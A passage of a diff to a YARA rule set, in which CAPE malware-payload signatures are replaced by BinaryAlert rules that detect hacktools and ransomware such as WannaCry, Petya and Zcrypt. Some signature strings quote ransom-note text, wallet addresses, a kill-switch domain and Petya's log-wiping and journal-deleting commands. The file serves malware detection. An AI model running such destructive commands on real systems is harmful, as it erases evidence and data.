+		$s4 = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query." fullword ascii wide
+		$s5 = "Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)" fullword ascii wide
+		$s6 = "31mOSX detected, -i mandatory option is missing" fullword ascii wide
+		$s7 = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query." fullword ascii wide
 
 	condition:
-		uint16(0)==0x5A4D and 3 of ($*)
+		any of them
 }
-rule CAPE_Ursnifv3 : FILE
+rule BINARYALERT_Hacktool_Multi_Ncc_ABPTTS
 {
 	meta:
-		description = "UrsnifV3 Payload"
-		author = "kevoreilly"
-		id = "9dd32f80-b535-52a3-91e1-4db005362fd4"
-		date = "2023-03-23"
-		modified = "2023-03-23"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/UrsnifV3.yar#L1-L18"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "501cd52388aba16f9d33b4555f310e1ad58326916b15358a485c701acb87abd8"
+		description = "Allows for TCP tunneling over HTTP"
+		author = "@mimeframe"
+		id = "dd5f6316-9e51-5cc8-b293-dc33b09cc801"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://github.com/nccgroup/ABPTTS"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_ncc_ABPTTS.yara#L1-L19"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "09874b1d997ac193ad1afa0226f6fb22836c8720c0599d773b18072b92a3acc4"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "UrsnifV3 Payload"
-		packed = "75827be0c600f93d0d23d4b8239f56eb8c7dc4ab6064ad0b79e6695157816988"
-		packed = "5d6f1484f6571282790d64821429eeeadee71ba6b6d566088f58370634d2c579"
+		quality = 80
+		tags = ""
 
 	strings:
-		$crypto32_1 = {8B C3 83 EB 01 85 C0 75 0D 0F B6 16 83 C6 01 89 74 24 14 8D 58 07 8B C2 C1 E8 07 83 E0 01 03 D2 85 C0 0F 84 AB 01 00 00 8B C3 83 EB 01 85 C0 89 5C 24 20 75 13 0F B6 16 83 C6 01 BB 07 00 00 00}
-		$crypto32_2 = {8B 45 ?? 0F B6 3? FF 45 [2-4] 8B C? 23 C? 40 40 D1 E? 7?}
-		$crypto32_3 = {F6 46 03 02 75 5? 8B 46 10 40 50 E8 [10-12] 74 ?? F6 46 03 01 74}
-		$crypto32_4 = {C7 44 24 10 01 00 00 00 8B 4? 10 [12] 8B [2] 89 01 8B 44 24 10 5F 5E 5B 8B E5 5D C2 0C 00}
-		$cpuid = {8B C4 FF 18 8B F0 33 C0 0F A2 66 8C D8 66 8E D0 8B E5 8B C6 5E 5B 5D C3}
-		$cape_string = "cape_options"
+		$s1 = "---===[[[ A Black Path Toward The Sun ]]]===---" ascii wide
+		$s2 = "https://vulnerableserver/EStatus/" ascii wide
+		$s3 = "Error: no ABPTTS forwarding URL was specified. This utility will now exit." ascii wide
+		$s4 = "tQgGur6TFdW9YMbiyuaj9g6yBJb2tCbcgrEq" fullword ascii wide
+		$s5 = "63688c4f211155c76f2948ba21ebaf83" fullword ascii wide
+		$s6 = "ABPTTSClient-log.txt" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5A4D and 1 of ($crypto32_*) and $cpuid and not $cape_string
+		any of them
 }
-rule CAPE_Dridexloader : FILE
+rule BINARYALERT_Hacktool_Multi_Jtesta_Ssh_Mitm
 {
 	meta:
-		description = "Dridex v4 dropper C2 parsing function"
-		author = "kevoreilly"
-		id = "43bd9631-4611-567c-bee5-d926e060b977"
-		date = "2021-03-10"
-		modified = "2021-03-10"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/DridexLoader.yar#L1-L17"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "20696b1f14539c8ecf21bffc696596040c20b1ee2fcedc173945482c0baca588"
-		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "DridexLoader Payload"
+		description = "intercepts ssh connections to capture credentials"
+		author = "@fusionrace"
+		id = "fa8362e2-83d3-5830-8952-502684ad66f9"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://github.com/jtesta/ssh-mitm"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_jtesta_ssh_mitm.yara#L1-L12"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "1d19c83f7d648a0d30074debcd76ff0faf72afa6722251661f8640abdc12a2a9"
+		score = 50
+		quality = 80
+		tags = ""
 
 	strings:
-		$c2parse_1 = {57 0F 95 C0 89 35 [4] 88 46 04 33 FF 80 3D [4] 00 76 54 8B 04 FD [4] 8D 4D EC 83 65 F4 00 89 45 EC 66 8B 04 FD [4] 66 89 45 F0 8D 45 F8 50}
-		$c2parse_2 = {89 45 00 0F B7 53 04 89 10 0F B6 4B 0C 83 F9 0A 7F 03 8A 53 0C 0F B6 53 0C 85 D2 7E B7 8D 74 24 0C C7 44 24 08 00 00 00 00 8D 04 7F 8D 8C 00}
-		$c2parse_3 = {89 08 66 39 1D [4] A1 [4] 0F 95 C1 88 48 04 80 3D [4] 0A 77 05 A0 [4] 80 3D [4] 00 56 8B F3 76 4E 66 8B 04 F5}
-		$c2parse_4 = {0F B7 C0 89 01 A0 [4] 3C 0A 77 ?? A0 [4] A0 [4] 57 33 FF 84 C0 74 ?? 56 BE}
-		$c2parse_5 = {0F B7 05 [4] 89 02 89 15 [4] 0F B6 15 [4] 83 FA 0A 7F 07 0F B6 05 [4] 0F B6 05 [4] 85 C0}
-		$c2parse_6 = {0F B7 53 ?? 89 10 0F B6 4B ?? 83 F9 0A 7F 03 8A 53 ?? 0F B6 53 ?? 85 D2 7E B9}
+		$a1 = "INTERCEPTED PASSWORD:" wide ascii
+		$a2 = "more sshbuf problems." wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and any of them
+		all of ($a*)
 }
-rule CAPE_Rcsession
+rule BINARYALERT_Ransomware_Windows_Wannacry
 {
 	meta:
-		description = "RCSession Payload"
-		author = "kevoreilly"
-		id = "841e6bd1-4f09-54dc-8dec-2e9423a34003"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/RCSession.yar#L1-L12"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "ebd1e9e615a91c35b36332cad55519607323469df738cec4464288b45787630d"
+		description = "wannacry ransomware for windows"
+		author = "@fusionrace"
+		id = "0269b6f4-a47d-5683-aaaa-2141ca7f04dc"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://securelist.com/blog/incidents/78351/wannacry-ransomware-used-in-widespread-attacks-all-over-the-world/"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_wannacry.yara#L1-L23"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "4fef5e34143e646dbf9907c4374276f5"
+		logic_hash = "c01f460c0f5e39cde5f553c966553fe693e5203cb020b8f571eac6fc193fa91b"
 		score = 75
-		quality = 70
+		quality = 50
 		tags = ""
-		cape_type = "RCSession Payload"
 
 	strings:
-		$a1 = {56 33 F6 39 74 24 08 7E 4C 53 57 8B F8 2B FA 8B C6 25 03 00 00 80 79 05 48 83 C8 FC 40 83 E8 00 74 19 48 74 0F 48 74 05 6B C9 09 EB 15 8B C1 C1 E8 02 EB 03 8D 04 09 2B C8}
-		$a2 = {83 C4 10 85 C0 74 ?? BE ?? ?? ?? ?? 89 74 24 10 E8 ?? ?? ?? ?? 6A 03 68 48 0B 00 00 56 53 57 68 02 00 00 80 E8 ?? ?? ?? ?? 83 C4 18 85 C0 74 18 E8 ?? ?? ?? ?? 6A 03 68 48}
+		$a1 = "msg/m_chinese" wide ascii
+		$a2 = ".wnry" wide ascii
+		$a3 = "attrib +h" wide ascii
+		$b1 = "WNcry@2ol7" wide ascii
+		$b2 = "iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com" wide ascii
+		$b3 = "115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn" wide ascii
+		$b4 = "12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw" wide ascii
+		$b5 = "13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94" wide ascii
 
 	condition:
-		( any of ($a*))
+		all of ($a*) or any of ($b*)
 }
-rule CAPE_Formbook
+rule BINARYALERT_Ransomware_Windows_Cerber_Evasion
 {
 	meta:
-		description = "Formbook Payload"
-		author = "kevoreilly"
-		id = "3389c0a7-eb86-5465-8a14-63f812d257db"
-		date = "2023-10-13"
-		modified = "2023-10-13"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Formbook.yar#L1-L18"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "63ee4dd6fe5ed2a3e5ee88ba7de48d2c9e0024961a550d0fdb68891c9885e05e"
+		description = "Cerber Ransomware: Evades detection by machine learning applications"
+		author = "@fusionrace"
+		id = "6e2f44a9-bc0f-5071-9d80-ddfb778cfe5d"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "http://www.darkreading.com/vulnerabilities---threats/cerber-ransomware-now-evades-machine-learning/d/d-id/1328506"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_cerber_evasion.yara#L1-L15"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "bc62b557d48f3501c383f25d014f22df"
+		logic_hash = "43b3b8be5a23b57f6c671abd8491cdc51af1cf3a3fe8a7be308150697cdb92ea"
 		score = 75
-		quality = 70
+		quality = 80
 		tags = ""
-		cape_type = "Formbook Payload"
-		packed = "9e38c0c3c516583da526016c4c6a671c53333d3d156562717db79eac63587522"
-		packed = "2379a4e1ccdd7849ad7ea9e11ee55b2052e58dda4628cd4e28c3378de503de23"
 
 	strings:
-		$remap_ntdll = {33 56 0? 8D 86 [2] 00 00 68 F0 00 00 00 50 89 56 ?? E8 [4] 8B [1-5] 6A 00 6A 04 8D 4D ?? 51 6A 07 52 56 E8 [4] 8B 45 ?? 83 C4 20 3B}
-		$rc4dec = {F7 E9 C1 FA 03 8B C2 C1 E8 1F 03 C2 8D 04 80 03 C0 03 C0 8B D1 2B D0 8A 04 3A 88 8C 0D [4] 88 84 0D [4] 41 81 F9 00 01 00 00 7C}
-		$decrypt = {8A 50 01 28 10 48 49 75 F7 83 FE 01 76 14 8B C7 8D 4E FF 8D 9B 00 00 00 00 8A 50 01 28 10 40 49 75 F7}
-		$string = {33 C0 66 39 01 74 0B 8D 49 00 40 66 83 3C 41 00 75 F8 8B 55 0C 8D 44 00 02 50 52 51 E8}
-		$mutant = {64 A1 18 00 00 00 8B 40 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 8B E5 5D C3}
-		$postmsg = {8B 7D 0C 6A 00 6A 00 68 11 01 00 00 57 FF D6 85 C0 75 ?? 50}
+		$s1 = "38oDr5.vbs" fullword ascii wide
+		$s2 = "8ivq.dll" fullword ascii wide
+		$s3 = "jmsctls_progress32" fullword ascii wide
 
 	condition:
-		2 of them
+		all of them
 }
-rule CAPE_Azer : FILE
+import "pe"
+
+rule BINARYALERT_Ransomware_Windows_Lazarus_Wannacry : FILE
 {
 	meta:
-		description = "Azer Payload"
-		author = "kevoreilly"
-		id = "4bda70c2-3cd9-543f-92f4-886b7dd899a1"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Azer.yar#L1-L13"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "48bd4a4e071f10d1911c4173a0cd39c69fed7a3b29eb92beffe709899f4cefa5"
+		description = "Rule based on shared code between Feb 2017 Wannacry sample and Lazarus backdoor from Feb 2015 discovered by Neel Mehta"
+		author = "Costin G. Raiu, Kaspersky Lab"
+		id = "6335bd03-0625-5856-891c-9a5decd7e00f"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://twitter.com/neelmehta/status/864164081116225536"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_lazarus_wannacry.yara#L3-L32"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "dddff5f74bf3f11baf1d3853d6cb5e5b1e0c5e75445c421d4d5145f7a496fc4b"
 		score = 75
-		quality = 70
+		quality = 80
 		tags = "FILE"
-		cape_type = "Azer Payload"
+		md5_1 = "9c7c7149387a1c79679a87dd1ba755bc"
+		md5_2 = "ac21c8ad899727137c4b94458d7aa8d8"
 
 	strings:
-		$a1 = "webmafia@asia.com" wide
-		$a2 = "INTERESTING_INFORMACION_FOR_DECRYPT.TXT" wide
-		$a3 = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQ"
+		$a1 = {
+        51 53 55 8B 6C 24 10 56 57 6A 20 8B 45 00 8D 75
+        04 24 01 0C 01 46 89 45 00 C6 46 FF 03 C6 06 01
+        46 56 E8
+        }
+		$a2 = {
+        03 00 04 00 05 00 06 00 08 00 09 00 0A 00 0D 00
+        10 00 11 00 12 00 13 00 14 00 15 00 16 00 2F 00
+        30 00 31 00 32 00 33 00 34 00 35 00 36 00 37 00
+        38 00 39 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00
+        44 00 45 00 46 00 62 00 63 00 64 00 66 00 67 00
+        68 00 69 00 6A 00 6B 00 84 00 87 00 88 00 96 00
+        FF 00 01 C0 02 C0 03 C0 04 C0 05 C0 06 C0 07 C0
+        08 C0 09 C0 0A C0 0B C0 0C C0 0D C0 0E C0 0F C0
+        10 C0 11 C0 12 C0 13 C0 14 C0 23 C0 24 C0 27 C0
+        2B C0 2C C0 FF FE
+        }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($a*))
+		(( uint16(0)==0x5A4D)) and all of them
 }
-rule CAPE_Rhadamanthys
+rule BINARYALERT_Ransomware_Windows_Petya_Variant_1
 {
 	meta:
-		description = "Rhadamanthys Loader"
-		author = "kevoreilly"
-		id = "4683ef43-7397-5546-ae54-b4c000518182"
-		date = "2023-09-18"
-		modified = "2023-09-18"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Rhadamanthys.yar#L1-L14"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "f71bee3ef1dd7b16a55397645d16c0a20d1fdd3bf662f241c0b11796629b11ff"
+		description = "Petya Ransomware new variant June 2017 using ETERNALBLUE"
+		author = "@fusionrace"
+		id = "bf56c0e4-585c-509b-a182-a93c74be7524"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_petya_variant_1.yara#L1-L18"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "71b6a493388e7d0b40c83ce903bc6b04"
+		logic_hash = "3733834ee2271a483739b09c4222d222aa4899cab48fd8fc558bdbd9a66bf2d6"
 		score = 75
-		quality = 70
+		quality = 80
 		tags = ""
-		cape_type = "Rhadamanthys Loader"
 
 	strings:
-		$rc4 = {88 4C 01 08 41 81 F9 00 01 00 00 7C F3 89 75 08 33 FF 8B 4D 08 3B 4D 10 72 04 83 65 08 00}
-		$code = {8B 4D FC 3B CF 8B C1 74 0D 83 78 04 02 74 1C 8B 40 1C 3B C7 75 F3 3B CF 8B C1 74 57 83 78 04 17 74 09 8B 40 1C 3B C7 75 F3 EB}
-		$conf = {46 BB FF 00 00 00 23 F3 0F B6 44 31 08 03 F8 23 FB 0F B6 5C 39 08 88 5C 31 08 88 44 39 08 02 C3 8B 5D 08 0F B6 C0 8A 44 08 08}
-		$cape_string = "cape_options"
+		$s1 = "Ooops, your important files are encrypted." fullword ascii wide
+		$s2 = "Send your Bitcoin wallet ID and personal installation key to e-mail" fullword ascii wide
+		$s3 = "wowsmith123456@posteo.net. Your personal installation key:" fullword ascii wide
+		$s4 = "Send $300 worth of Bitcoin to following address:" fullword ascii wide
+		$s5 = "have been encrypted.  Perhaps you are busy looking for a way to recover your" fullword ascii wide
+		$s6 = "need to do is submit the payment and purchase the decryption key." fullword ascii wide
 
 	condition:
-		2 of them and not $cape_string
+		any of them
 }
-rule CAPE_Doppelpaymer : FILE
+rule BINARYALERT_Ransomware_Windows_Powerware_Locky
 {
 	meta:
-		description = "DoppelPaymer Payload"
-		author = "kevoreilly"
-		id = "c8178906-1722-5908-9ad4-7ee1eef39138"
-		date = "2022-06-27"
-		modified = "2022-06-27"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/DoppelPaymer.yar#L1-L13"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "73a2575671bafc31a70af3ce072d6f94ae172b12202baebba586a02524cb6f9d"
+		description = "PowerWare Ransomware"
+		author = "@fusionrace"
+		id = "8a1a56af-7a9d-54ed-90b9-daf33735ee1e"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://researchcenter.paloaltonetworks.com/2016/07/unit42-powerware-ransomware-spoofing-locky-malware-family/"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_powerware_locky.yara#L1-L17"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "3433a4da9d8794709630eb06afd2b8c1"
+		logic_hash = "64de34755f706a9fd4c876c473eed4f8922a4450c7ef135b0ab5e49c67363baf"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "DoppelPaymer Payload"
+		quality = 78
+		tags = ""
 
 	strings:
-		$getproc32 = {81 FB ?? ?? ?? ?? 74 2D 8B CB E8 ?? ?? ?? ?? 85 C0 74 0C 8B C8 8B D7 E8 ?? ?? ?? ?? 5B 5F C3}
-		$cmd_string = "Setup run\\n" wide
+		$s0 = "ScriptRunner.dll" fullword ascii wide
+		$s1 = "ScriptRunner.pdb" fullword ascii wide
+		$s2 = "fixed.ps1" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule CAPE_Dreambot : FILE
+rule BINARYALERT_Ransomware_Windows_Zcrypt
 {
 	meta:
-		description = "Dreambot Payload"
-		author = "kevoreilly"
-		id = "675c2fea-fe48-5afd-9fa1-de919134892f"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Dreambot.yar#L1-L14"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "29c6d648d5d38667c5824c2d20a83a20448c2ae6054ddddb2b2b7f8bdb69f74b"
+		description = "Zcrypt will encrypt data and append the .zcrypt extension to the filenames"
+		author = "@fusionrace"
+		id = "d79cd266-4e77-562c-975c-8bf72efe7242"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://blog.malwarebytes.com/threat-analysis/2016/06/zcrypt-ransomware/"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_zcrypt.yara#L1-L23"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "d1e75b274211a78d9c5d38c8ff2e1778"
+		logic_hash = "df4073363da162e69f29493b5bfb4cb3f3d342357335c13ba6a3ac868607cb25"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Dreambot Payload"
+		quality = 78
+		tags = ""
 
 	strings:
-		$a1 = {53 56 33 F6 33 DB C1 6C 24 0C 02 74 2F 8B 02 85 C0 75 11 83 7C 24 0C 02 76 0A 39 42 04 75 05 39 42 08 74 18 43 8A CB D3 C0 33 C6 33 44 24 10 8B F0 89 32 83 C2 04 FF 4C 24 0C 75 D1 5E 5B C2 08 00}
-		$a2 = {53 33 C9 33 DB C1 6C 24 08 02 74 22 56 8B 02 85 C0 8B F0 74 18 33 C1 33 44 24 10 43 8A CB D3 C8 8B CE 89 02 83 C2 04 FF 4C 24 0C 75 E0 5E 5B C2 08 00}
-		$b1 = "Oct  5 2016"
-		$b2 = ".bss"
+		$u1 = "How to Buy Bitcoins" ascii wide
+		$u2 = "ALL YOUR PERSONAL FILES ARE ENCRYPTED" ascii wide
+		$u3 = "Click Here to Show Bitcoin Address" ascii wide
+		$u4 = "MyEncrypter2.pdb" fullword ascii wide
+		$g1 = ".p7b" fullword ascii wide
+		$g2 = ".p7c" fullword ascii wide
+		$g3 = ".pdd" fullword ascii wide
+		$g4 = ".pef" fullword ascii wide
+		$g5 = ".pem" fullword ascii wide
+		$g6 = "How to decrypt files.html" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5A4D and (1 of ($a*)) and ( all of ($b*))
+		any of ($u*) or all of ($g*)
 }
-rule CAPE_Trickbot
+rule BINARYALERT_Ransomware_Windows_Petya_Variant_3
 {
 	meta:
-		description = "TrickBot Payload"
-		author = "sysopfb & kevoreilly"
-		id = "dc88eadd-7b84-5bd0-96d1-aad480632bee"
-		date = "2023-02-07"
-		modified = "2023-02-07"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/TrickBot.yar#L1-L20"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "47cc2070b43957601a72745329a9d14fb3fbfd4d2b31cacc35d4ac750dde31ea"
+		description = "Petya Ransomware new variant June 2017 using ETERNALBLUE"
+		author = "@fusionrace"
+		id = "cbf06e62-abe8-54af-b4f4-624ba9233e4b"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_petya_variant_3.yara#L1-L13"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "71b6a493388e7d0b40c83ce903bc6b04"
+		logic_hash = "4f21b394eb2dd0ebf416b018f438934fdc89cb896701d95b593477fc19abfe48"
 		score = 75
-		quality = 70
+		quality = 80
 		tags = ""
-		cape_type = "TrickBot Payload"
 
 	strings:
-		$str1 = "<moduleconfig>*</moduleconfig>" ascii wide
-		$str2 = "group_tag" ascii wide
-		$str3 = "client_id" ascii wide
-		$code1 = {8A 11 88 54 35 F8 46 41 4F 89 4D F0 83 FE 04 0F 85 7E 00 00 00 8A 1D ?? ?? ?? ?? 33 F6 8D 49 00 33 C9 84 DB 74 1F 8A 54 35 F8 8A C3 8D 64 24 00}
-		$code2 = {8B 4D FC 8A D1 02 D2 8A C5 C0 F8 04 02 D2 24 03 02 C2 88 45 08 8A 45 FE 8A D0 C0 FA 02 8A CD C0 E1 04 80 E2 0F 32 D1 8B 4D F8 C0 E0 06 02 45 FF 88 55 09 66 8B 55 08 66 89 11 88 41 02}
-		$code3 = {0F B6 54 24 49 0F B6 44 24 48 48 83 C6 03 C0 E0 02 0F B6 CA C0 E2 04 C0 F9 04 33 DB 80 E1 03 02 C8 88 4C 24 40 0F B6 4C 24 4A 0F B6 C1 C0 E1 06 02 4C 24 4B C0 F8 02 88 4C 24 42 24 0F}
-		$code4 = {53 8B 5C 24 18 55 8B 6C 24 10 56 8B 74 24 18 8D 9B 00 00 00 00 8B C1 33 D2 F7 F3 41 8A 04 2A 30 44 31 FF 3B CF 75 EE 5E 5D 5B 5F C3}
-		$code5 = {50 0F 31 C7 44 24 04 01 00 00 00 8D 0C C5 00 00 00 00 F7 C1 F8 07 00 00 74 1B 48 C1 E2 20 48 8B C8 48 0B CA 0F B6 C9 C1 E1 03 F7 D9 C1 64 24 04 10 FF C1 75 F7 59 C3}
-		$code6 = {53 8B 5C 24 0C 56 8B 74 24 14 B8 ?? ?? ?? ?? F7 E9 C1 FA 02 8B C2 C1 E8 1F 03 C2 6B C0 16 8B D1 2B D0 8A 04 1A 30 04 31 41 3B CF 75 DD 5E 5B 5F C3}
-		$code7 = {B8 ?? ?? 00 00 85 C9 74 32 BE ?? ?? ?? ?? BA ?? ?? ?? ?? BF ?? ?? ?? ?? BB ?? ?? ?? ?? 03 F2 8B 2B 83 C3 04 33 2F 83 C7 04 89 29 83 C1 04 3B DE 0F 43 DA}
+		$s1 = "wevtutil cl Setup & wevtutil cl System" fullword wide
+		$s2 = "fsutil usn deletejournal /D %c:" fullword wide
 
 	condition:
-		all of ($str*) or any of ($code*)
+		any of them
 }
-rule CAPE_Trickbot_Permadll_UEFI_Module
+rule BINARYALERT_Ransomware_Windows_Petya_Variant_Bitcoin
 {
 	meta:
-		description = "Detects TrickBot Banking module permaDll"
-		author = "@VK_Intel | Advanced Intelligence"
-		id = "ba104164-0a1a-5a4c-8312-7653f7818e96"
-		date = "2023-02-07"
-		modified = "2023-02-07"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/TrickBot.yar#L22-L38"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		hash = "491115422a6b94dc952982e6914adc39"
-		logic_hash = "564055f56fd19bed8900e6d451ba050b4e9013a9208a3bdc3d3d563567d225d2"
+		description = "Petya Ransomware new variant June 2017 using ETERNALBLUE: Bitcoin"
+		author = "@fusionrace"
+		id = "82d6ecc5-7c90-5d50-90ff-f54f8d87685d"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_petya_variant_bitcoin.yara#L1-L13"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		hash = "71b6a493388e7d0b40c83ce903bc6b04"
+		logic_hash = "9a5e183aa8e1387e76d5df4e967943b730ba780b6758af3ef23e21bb9e4ce3a6"
 		score = 75
-		quality = 70
+		quality = 80
 		tags = ""
 
 	strings:
-		$module_cfg = "moduleconfig"
-		$str_imp_01 = "Start"
-		$str_imp_02 = "Control"
-		$str_imp_03 = "FreeBuffer"
-		$str_imp_04 = "Release"
-		$module = "user_platform_check.dll"
-		$intro_routine = { 83 ec 40 8b ?? ?? ?? 53 8b ?? ?? ?? 55 33 ed a3 ?? ?? ?? ?? 8b ?? ?? ?? 56 57 89 ?? ?? ?? a3 ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 75 ?? 8d ?? ?? ?? 89 ?? ?? ?? 50 6a 40 8d ?? ?? ?? ?? ?? 55 e8 ?? ?? ?? ?? 85 c0 78 ?? 8b ?? ?? ?? 85 ff 74 ?? 47 57 e8 ?? ?? ?? ?? 8b f0 59 85 f6 74 ?? 57 6a 00 56 e8 ?? ?? ?? ?? 83 c4 0c eb ??}
